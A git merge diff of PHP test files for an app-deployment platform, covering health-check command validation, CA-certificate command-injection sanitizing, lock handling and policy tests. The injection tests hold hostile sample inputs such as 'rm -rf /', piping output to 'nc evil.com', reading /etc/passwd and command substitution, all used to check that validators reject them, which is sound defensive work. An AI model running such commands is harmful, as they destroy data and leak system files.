Merge remote-tracking branch 'origin/next' into audit-policies

# Conflicts:
#	tests/Unit/Policies/GithubAppPolicyTest.php
#	tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php

tests/Feature/ApplicationHealthCheckApiTest.php

@@ -0,0 +1,120 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Visus\Cuid2\Cuid2;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    session(['currentTeam' => $this->team]);
+
+    $this->token = $this->user->createToken('test-token', ['*']);
+    $this->bearerToken = $this->token->plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) new Cuid2,
+        'name' => 'test-project',
+        'team_id' => $this->team->id,
+    ]);
+
+    // Project boot event auto-creates a 'production' environment
+    $this->environment = $this->project->environments()->first();
+
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+});
+
+function healthCheckAuthHeaders($bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
+    test('can update health_check_type to cmd with a command', function () {
+        $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'health_check_type' => 'cmd',
+                'health_check_command' => 'pg_isready -U postgres',
+            ]);
+
+        $response->assertOk();
+
+        $this->application->refresh();
+        expect($this->application->health_check_type)->toBe('cmd');
+        expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
+    });
+
+    test('can update health_check_type back to http', function () {
+        $this->application->update([
+            'health_check_type' => 'cmd',
+            'health_check_command' => 'redis-cli ping',
+        ]);
+
+        $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'health_check_type' => 'http',
+                'health_check_command' => null,
+            ]);
+
+        $response->assertOk();
+
+        $this->application->refresh();
+        expect($this->application->health_check_type)->toBe('http');
+        expect($this->application->health_check_command)->toBeNull();
+    });
+
+    test('rejects invalid health_check_type', function () {
+        $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'health_check_type' => 'exec',
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('rejects health_check_command with shell operators', function () {
+        $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'health_check_type' => 'cmd',
+                'health_check_command' => 'pg_isready; rm -rf /',
+            ]);
+
+        $response->assertStatus(422);
+    });
+
+    test('rejects health_check_command over 1000 characters', function () {
+        $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+            ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+                'health_check_type' => 'cmd',
+                'health_check_command' => str_repeat('a', 1001),
+            ]);
+
+        $response->assertStatus(422);
+    });
+});

tests/Feature/CaCertificateCommandInjectionTest.php

@@ -0,0 +1,93 @@
+<?php
+
+use App\Livewire\Server\CaCertificate\Show;
+use App\Models\Server;
+use App\Models\SslCertificate;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->user->teams()->attach($this->team, ['role' => 'owner']);
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+    ]);
+});
+
+function generateSelfSignedCert(): string
+{
+    $key = openssl_pkey_new(['private_key_bits' => 2048]);
+    $csr = openssl_csr_new(['CN' => 'Test CA'], $key);
+    $cert = openssl_csr_sign($csr, null, $key, 365);
+    openssl_x509_export($cert, $certPem);
+
+    return $certPem;
+}
+
+test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
+    $validCert = generateSelfSignedCert();
+
+    $caCert = SslCertificate::create([
+        'server_id' => $this->server->id,
+        'is_ca_certificate' => true,
+        'ssl_certificate' => $validCert,
+        'ssl_private_key' => 'test-key',
+        'common_name' => 'Coolify CA Certificate',
+        'valid_until' => now()->addYears(10),
+    ]);
+
+    // Inject shell command after valid certificate
+    $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
+
+    Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+        ->set('certificateContent', $maliciousContent)
+        ->call('saveCaCertificate')
+        ->assertDispatched('success');
+
+    // After save, the certificate should be the clean re-exported PEM, not the malicious input
+    $caCert->refresh();
+    expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
+    expect($caCert->ssl_certificate)->not->toContain('; id');
+    expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
+    expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
+});
+
+test('saveCaCertificate rejects completely invalid certificate', function () {
+    SslCertificate::create([
+        'server_id' => $this->server->id,
+        'is_ca_certificate' => true,
+        'ssl_certificate' => 'placeholder',
+        'ssl_private_key' => 'test-key',
+        'common_name' => 'Coolify CA Certificate',
+        'valid_until' => now()->addYears(10),
+    ]);
+
+    Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+        ->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
+        ->call('saveCaCertificate')
+        ->assertDispatched('error');
+});
+
+test('saveCaCertificate rejects empty certificate content', function () {
+    SslCertificate::create([
+        'server_id' => $this->server->id,
+        'is_ca_certificate' => true,
+        'ssl_certificate' => 'placeholder',
+        'ssl_private_key' => 'test-key',
+        'common_name' => 'Coolify CA Certificate',
+        'valid_until' => now()->addYears(10),
+    ]);
+
+    Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+        ->set('certificateContent', '')
+        ->call('saveCaCertificate')
+        ->assertDispatched('error');
+});

tests/Feature/CmdHealthCheckValidationTest.php

@@ -0,0 +1,90 @@
+<?php
+
+use Illuminate\Support\Facades\Validator;
+
+$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
+
+it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => str_repeat('a', 1001)],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => 'pg_isready -U postgres'],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+it('accepts null healthCheckCommand', function () use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => null],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+it('accepts simple commands', function ($command) use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => $command],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeFalse();
+})->with([
+    'pg_isready -U postgres',
+    'redis-cli ping',
+    'curl -f http://localhost:8080/health',
+    'wget -q -O- http://localhost/health',
+    'mysqladmin ping -h 127.0.0.1',
+]);
+
+it('rejects commands with shell operators', function ($command) use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => $command],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeTrue();
+})->with([
+    'pg_isready; rm -rf /',
+    'redis-cli ping | nc evil.com 1234',
+    'curl http://localhost && curl http://evil.com',
+    'echo $(whoami)',
+    'cat /etc/passwd > /tmp/out',
+    'curl `whoami`.evil.com',
+    'cmd & background',
+    'echo "hello"',
+    "echo 'hello'",
+    'test < /etc/passwd',
+    'bash -c {echo,pwned}',
+    'curl http://evil.com#comment',
+    'echo $HOME',
+    "cmd\twith\ttabs",
+    "cmd\nwith\nnewlines",
+]);
+
+it('rejects invalid healthCheckType', function () {
+    $validator = Validator::make(
+        ['healthCheckType' => 'exec'],
+        ['healthCheckType' => 'string|in:http,cmd']
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('accepts valid healthCheckType values', function ($type) {
+    $validator = Validator::make(
+        ['healthCheckType' => $type],
+        ['healthCheckType' => 'string|in:http,cmd']
+    );
+
+    expect($validator->fails())->toBeFalse();
+})->with(['http', 'cmd']);

tests/Feature/ScheduledJobManagerStaleLockTest.php

@@ -0,0 +1,49 @@
+<?php
+
+use App\Jobs\ScheduledJobManager;
+use Illuminate\Support\Facades\Redis;
+
+it('clears stale lock when TTL is -1', function () {
+    $cachePrefix = config('cache.prefix');
+    $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+    $redis = Redis::connection('default');
+    $redis->set($lockKey, 'stale-owner');
+
+    expect($redis->ttl($lockKey))->toBe(-1);
+
+    $job = new ScheduledJobManager;
+    $job->middleware();
+
+    expect($redis->exists($lockKey))->toBe(0);
+});
+
+it('preserves valid lock with positive TTL', function () {
+    $cachePrefix = config('cache.prefix');
+    $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+    $redis = Redis::connection('default');
+    $redis->set($lockKey, 'active-owner');
+    $redis->expire($lockKey, 60);
+
+    expect($redis->ttl($lockKey))->toBeGreaterThan(0);
+
+    $job = new ScheduledJobManager;
+    $job->middleware();
+
+    expect($redis->exists($lockKey))->toBe(1);
+
+    $redis->del($lockKey);
+});
+
+it('does not fail when no lock exists', function () {
+    $cachePrefix = config('cache.prefix');
+    $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+    Redis::connection('default')->del($lockKey);
+
+    $job = new ScheduledJobManager;
+    $middleware = $job->middleware();
+
+    expect($middleware)->toBeArray()->toHaveCount(1);
+});

tests/Unit/HealthCheckCommandInjectionTest.php

@@ -165,12 +165,69 @@ it('allows valid health check values via API rules', function () {
     expect($validator->fails())->toBeFalse();
 });
 
+it('generates CMD healthcheck command directly', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_type' => 'cmd',
+        'health_check_command' => 'pg_isready -U postgres',
+    ]);
+
+    expect($result)->toBe('pg_isready -U postgres');
+});
+
+it('strips newlines from CMD healthcheck command', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_type' => 'cmd',
+        'health_check_command' => "redis-cli ping\n&& echo pwned",
+    ]);
+
+    expect($result)->not->toContain("\n")
+        ->and($result)->toBe('redis-cli ping && echo pwned');
+});
+
+it('falls back to HTTP healthcheck when CMD type has empty command', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_type' => 'cmd',
+        'health_check_command' => '',
+    ]);
+
+    // Should fall through to HTTP path
+    expect($result)->toContain('curl -s -X');
+});
+
+it('validates healthCheckCommand rejects strings over 1000 characters', function () {
+    $rules = [
+        'healthCheckCommand' => 'nullable|string|max:1000',
+    ];
+
+    $validator = Validator::make(
+        ['healthCheckCommand' => str_repeat('a', 1001)],
+        $rules
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('validates healthCheckCommand accepts strings under 1000 characters', function () {
+    $rules = [
+        'healthCheckCommand' => 'nullable|string|max:1000',
+    ];
+
+    $validator = Validator::make(
+        ['healthCheckCommand' => 'pg_isready -U postgres'],
+        $rules
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
 /**
  * Helper: Invokes the private generate_healthcheck_commands() method via reflection.
  */
 function callGenerateHealthcheckCommands(array $overrides = []): string
 {
     $defaults = [
+        'health_check_type' => 'http',
+        'health_check_command' => null,
         'health_check_method' => 'GET',
         'health_check_scheme' => 'http',
         'health_check_host' => 'localhost',
@@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
     $values = array_merge($defaults, $overrides);
 
     $application = Mockery::mock(Application::class)->makePartial();
+    $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
+    $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
     $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
     $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
     $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);

tests/Unit/Policies/GithubAppPolicyTest.php

@@ -1,6 +1,5 @@
 <?php
 
-use App\Models\GithubApp;
 use App\Models\User;
 use App\Policies\GithubAppPolicy;
 
@@ -14,9 +13,12 @@ it('allows any user to view any github apps', function () {
 it('allows any user to view system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = true;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = true;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->view($user, $model))->toBeTrue();
@@ -30,9 +32,12 @@ it('allows team member to view non-system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->view($user, $model))->toBeTrue();
@@ -46,9 +51,12 @@ it('denies non-team member to view non-system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->view($user, $model))->toBeFalse();
@@ -74,9 +82,12 @@ it('allows user with system access to update system-wide github app', function (
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('canAccessSystemResources')->andReturn(true);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = true;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = true;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->update($user, $model))->toBeTrue();
@@ -86,9 +97,12 @@ it('denies user without system access to update system-wide github app', functio
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('canAccessSystemResources')->andReturn(false);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = true;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = true;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->update($user, $model))->toBeFalse();
@@ -98,9 +112,12 @@ it('allows team admin to update non-system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->update($user, $model))->toBeTrue();
@@ -110,9 +127,12 @@ it('denies team member to update non-system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->update($user, $model))->toBeFalse();
@@ -122,9 +142,12 @@ it('allows user with system access to delete system-wide github app', function (
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('canAccessSystemResources')->andReturn(true);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = true;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = true;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->delete($user, $model))->toBeTrue();
@@ -134,9 +157,12 @@ it('denies user without system access to delete system-wide github app', functio
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('canAccessSystemResources')->andReturn(false);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = true;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = true;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->delete($user, $model))->toBeFalse();
@@ -146,9 +172,12 @@ it('allows team admin to delete non-system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->delete($user, $model))->toBeTrue();
@@ -158,9 +187,12 @@ it('denies team member to delete non-system-wide github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->delete($user, $model))->toBeFalse();
@@ -169,9 +201,12 @@ it('denies team member to delete non-system-wide github app', function () {
 it('denies restore of github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->restore($user, $model))->toBeFalse();
@@ -180,9 +215,12 @@ it('denies restore of github app', function () {
 it('denies force delete of github app', function () {
     $user = Mockery::mock(User::class)->makePartial();
 
-    $model = Mockery::mock(GithubApp::class)->makePartial();
-    $model->team_id = 1;
-    $model->is_system_wide = false;
+    $model = new class
+    {
+        public $team_id = 1;
+
+        public $is_system_wide = false;
+    };
 
     $policy = new GithubAppPolicy;
     expect($policy->forceDelete($user, $model))->toBeFalse();

tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php

@@ -1,6 +1,5 @@
 <?php
 
-use App\Models\SharedEnvironmentVariable;
 use App\Models\User;
 use App\Policies\SharedEnvironmentVariablePolicy;
 
@@ -19,8 +18,10 @@ it('allows team member to view their team shared environment variable', function
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->view($user, $model))->toBeTrue();
@@ -34,8 +35,10 @@ it('denies non-team member to view shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 2;
+    $model = new class
+    {
+        public $team_id = 2;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->view($user, $model))->toBeFalse();
@@ -61,8 +64,10 @@ it('allows team admin to update shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->update($user, $model))->toBeTrue();
@@ -72,8 +77,10 @@ it('denies team member to update shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->update($user, $model))->toBeFalse();
@@ -83,8 +90,10 @@ it('allows team admin to delete shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->delete($user, $model))->toBeTrue();
@@ -94,8 +103,10 @@ it('denies team member to delete shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->delete($user, $model))->toBeFalse();
@@ -104,8 +115,10 @@ it('denies team member to delete shared environment variable', function () {
 it('denies restore of shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->restore($user, $model))->toBeFalse();
@@ -114,8 +127,10 @@ it('denies restore of shared environment variable', function () {
 it('denies force delete of shared environment variable', function () {
     $user = Mockery::mock(User::class)->makePartial();
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->forceDelete($user, $model))->toBeFalse();
@@ -125,8 +140,10 @@ it('allows team admin to manage environment', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->manageEnvironment($user, $model))->toBeTrue();
@@ -136,8 +153,10 @@ it('denies team member to manage environment', function () {
     $user = Mockery::mock(User::class)->makePartial();
     $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
 
-    $model = Mockery::mock(SharedEnvironmentVariable::class)->makePartial();
-    $model->team_id = 1;
+    $model = new class
+    {
+        public $team_id = 1;
+    };
 
     $policy = new SharedEnvironmentVariablePolicy;
     expect($policy->manageEnvironment($user, $model))->toBeFalse();

tests/Unit/ScheduledJobManagerLockTest.php

@@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
     $expiresAfterProperty->setAccessible(true);
     $expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
 
-    expect($expiresAfter)->toBe(60)
+    expect($expiresAfter)->toBe(90)
         ->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
 
     // Check releaseAfter is NOT set (we use dontRelease)